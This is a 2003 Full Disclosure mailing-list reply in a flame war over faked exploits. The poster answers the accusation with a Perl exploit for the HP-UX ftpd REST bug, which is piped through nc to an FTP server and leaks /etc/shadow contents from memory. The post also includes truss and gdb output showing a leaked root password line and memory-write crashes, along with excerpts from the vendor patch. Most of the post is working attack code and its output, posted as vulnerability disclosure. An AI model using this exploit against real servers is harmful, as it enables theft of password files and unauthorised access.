Full Disclosure mailing list archives
Re: Exploit for auth2-pam for vuln linux opensshd (KF's fake HPUX exploit with fake gdb output included free!)
From: KF <dotslash () snosoft com>
Date: Thu, 09 Jan 2003 00:33:50 -0500
First of all I am flattered that you have the time to make incorrect assumptions.... If you had half a clue you would already be aware I do not work for globalintersec....if you are going to harass me at least harass me about SNOSOFT...
http://www.globalintersec.com/staff.html Second in regards to your comments on http://www.globalintersec.com/adv/sudo-2002041701.txt what part of that advisory jives with hudo? http://packetstormsecurity.org/0211-exploits/hudo.c> Even Mr. FC could have crafted up an exploit in less than 8 months IF > THAT WERE THE CASE. If I remember fc did create an exploit... I think I saw a log of it on being exploited eurocompton or something.... maybe I am wrong though. something like fc.angelfire.com I forget maybe it was geocities...
Solution: KF[GLOBALINTERSEC], admit to the world that you are a fraud and faked gdb output in an effort to gain fame. At least I applaud for not signing your name as 'KF' to your advisories. Globalintersec would have certainly been out of business by now if that were the case. If KF admits he is a liar, this will all stop.
What will all stop? You will stop being harassing me if I stop what? I had NOTHING to do with the golobalintersec sudo or ssh advisories...
Potential Counter-Solution: Say KF does not admit he is a fraud. I will be forced to go back through a pile of old worthless code to show that his exploitable condition is impossible (which is not to say at all that exploitation in some way is impossible).
Well since I am such a fraud I will contribute yet another fake exploit with fake gdb output and fake results... maybe you guys can go through the code to HPUX ftpd and point out how this is not exploitable...I wouldn't know I have never seen it.
This could have something to do with http://files.ruca.ua.ac.be/pub/depot/sw11/PHNE_20714.text
But then again... I could be a fraud. -KF
#!/usr/bin/perl
#
# (./hpux_rest.pl2;cat) | nc 192.168.1.111 21 - dotslash () snosoft com
# 2003-01-01 HAPPY NEW YEAR!
#
# This version of the exploit is a little less noisy exploit as far as syslog goes.
# This has been fixed in HP update PHNE_20714.depot Version 1.1.214.6 is not vuln
#
# 220 hpux11 FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready.
# do a REST 1094861636 pre or post login to write 0x41424344 to ior: r11: and r3: registers
#
# r3 is used in a write() call so select the address of the buffer containing /etc/shadow
#
# open("/etc/passwd", O_RDONLY, 0666) [entry]
# open("/etc/passwd", O_RDONLY, 0666)
# ioctl(5, TCGETA, 0x7f7e61b8)[entry]
# ioctl(5, TCGETA, 0x7f7e61b8)ERR#25 ENOTTY
# read(5, 0x4002fe10, 8192)[entry]
# read(5, 0x4002fe10, 8192)= 454
# r o o t : m y r o o t p a s s w o r d : 0 : 3 : : / : / s b i n /
# s h \n d a e m o n : * : 1 : 5 : : / : / s b i n / s h \nb i n :
#
# Jan 1 07:34:53 kakarot ftpd[2138]: pam_authenticate: Authentication failed 31
# Jan 1 07:34:53 kakarot ftpd[2138]: User root: Login incorrect
# Jan 1 07:34:53 kakarot ftpd[2138]: FTP session closed
#
# frieza root # (./HPUX_rest2.pl;cat) | nc 192.168.1.111 21
# 220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready.
# 331 Password required for root.
# 530 Login incorrect.
# 350 Restarting at offset_uformat. root:MYFARKINGPASS:0:3::/:/sbin/sh
# ...
# Choose the address found above in the read() call
# $restinpeace = "REST 1094861636"; # use this as a test address 0x41424344
$restinpeace = "REST 1073937936"; # password buffer aka 0x4002fe10
$username = "USER ";
$username .= anonymous;
# system sleep 5;
# fake an authenticate attempt to leak the shadow file
print "USER root\n";
print "PASS oops\n";
# steal shadow file
print "$restinpeace\n"; # bye bye
print "QUIT\n";
Does this refer to a fix or cause of the problem? http://files.ruca.ua.ac.be/pub/depot/sw11/PHNE_20714.text 2. JAGab84556. The byte count of the transfer was not being updated when the "get <file>" command was given. Resolution: * The code was changed to update the byte count during data transfer. 4. The wrong conversion character was used in the format string to define the filesize. Resolution: * The conversion character in the format was changed to the offset_uformat macro. other things noted in that patch: 6. ftpd fails to restart a transfer from an offset. 4. ftpd does not correctly calculate the file size with files > 2gigabytes ----- frieza root # ftp 192.168.1.111 Connected to 192.168.1.111. 220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999) ready. Name (192.168.1.111:root): elguapo 504 Authentication type SSL not implemented; use 'GSSAPI'. SSL not available 331 Password required for elguapo. Password: 230 User elguapo logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> rest 1111111111111111 restarting at 2147483647. execute get, put or append to initiate transfer ftp> get . local: . remote: . 200 PORT command successful. # gdb /usr/lbin/ftpd 2862 GNU gdb 4.18-hppa-991112 Copyright 1998 Free Software Foundation, Inc. /home/elguapo/2862: No such file or directory. Attaching to program: /usr/lbin/ftpd, process 2862 Unable to find __dld_flags symbol in object file. (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xc00ef0b8 in ?? () (gdb) bt #0 0xc00ef0b8 in ?? () Error accessing memory address 0x7fffffff: Bad address. (gdb) info registers flags: f000001 sr5: 5645 r1: 40 sr6: 0 rp: c00fceab sr7: 0 r3: 7fffffff cr0: d r4: 40005c60 cr8: 0 r5: 1 cr9: 0 r6: 0 ccr: 0 r7: 7f6e3022 cr12: 217718 r8: 3c cr13: 0 r9: 400089e4 cr24: 0 r10: 40008960 cr25: 0 r11: 7fffffff cr26: 0 r12: 40008960 mpsfu_high: 7f6cc000 r13: 73 mpsfu_low: c000 r14: 40005c5e mpsfu_ovfl: 0 r15: 0 pad: 2f736269 r16: 0 fpsr: 8200000 r17: 0 fpe1: 0 r18: 0 fpe2: 0 r19: 7f6ce714 fpe3: 0 r20: fffffffc fpe4: 0 r21: 7f7e0714 fpe5: 0 r22: 7f7e0714 fpe6: 0 r23: 0 fpe7: 0 r24: 7f6d62c8 fr4: 53542032 r25: 7f7e0718 fr4R: 31343734 r26: 40005c40 fr5: 38333634 dp: 40009160 fr5R: 370d0a00 ret0: 0 fr6: 0 ret1: 7f6e3000 fr6R: 0 sp: 7f7e2d80 fr7: 0 r31: 0 fr7R: 0 sar: 0 fr8: 0 pcoqh: c00ef0b8 fr8R: 0 pcsqh: 0 fr9: 0 pcoqt: c00ef0bc fr9R: 0 pcsqt: 0 fr10: 384 eiem: ffffffff fr10R: 15f91 iir: 40740000 fr11: 408c2014 isr: 5645 fr11R: 7ae147b6 ior: 7fffffff fr12: 0 ipsw: 4040f fr12R: 0 goto: 2 fr13: 41800000 sr4: 4bf2 fr13R: 0 sr0: 0 fr14: 10 sr1: 5645 fr14R: 10 sr2: 0 fr15: 0 sr3: 0 fr15R: 0 Watch how the number increments... ftp> rest 200000 restarting at 200000. execute get, put or append to initiate transfer ftp> get . local: . remote: . 200 PORT command successful. Program received signal SIGSEGV, Segmentation fault. 0xc00ef0b8 in ?? () (gdb) bt #0 0xc00ef0b8 in ?? () Error accessing memory address 0x30d40: Bad address. ftp> rest 200002 restarting at 200002. execute get, put or append to initiate transfer ftp> get . local: . remote: . 200 PORT command successful. Program received signal SIGSEGV, Segmentation fault. 0xc00ef0b8 in ?? () (gdb) bt #0 0xc00ef0b8 in ?? () Error accessing memory address 0x30d42: Bad address. ftp> rest 200004 restarting at 200004. execute get, put or append to initiate transfer ftp> get . local: . remote: . 200 PORT command successful. (gdb) bt #0 0xc00ef0b8 in ?? () Error accessing memory address 0x30d44: Bad address. And as we saw above we were able to use addresses up to: Error accessing memory address 0x7fffffff: Bad address. Looks like a keeper to me. =]
Current thread:
- Exploit for auth2-pam for vuln linux opensshd Jack Ahz (Jan 08)
- Re: Exploit for auth2-pam for vuln linux opensshd (KF's fake HPUX exploit with fake gdb output included free!) KF (Jan 08)
- Re: Exploit for auth2-pam for vuln linux opensshd ATD (Jan 09)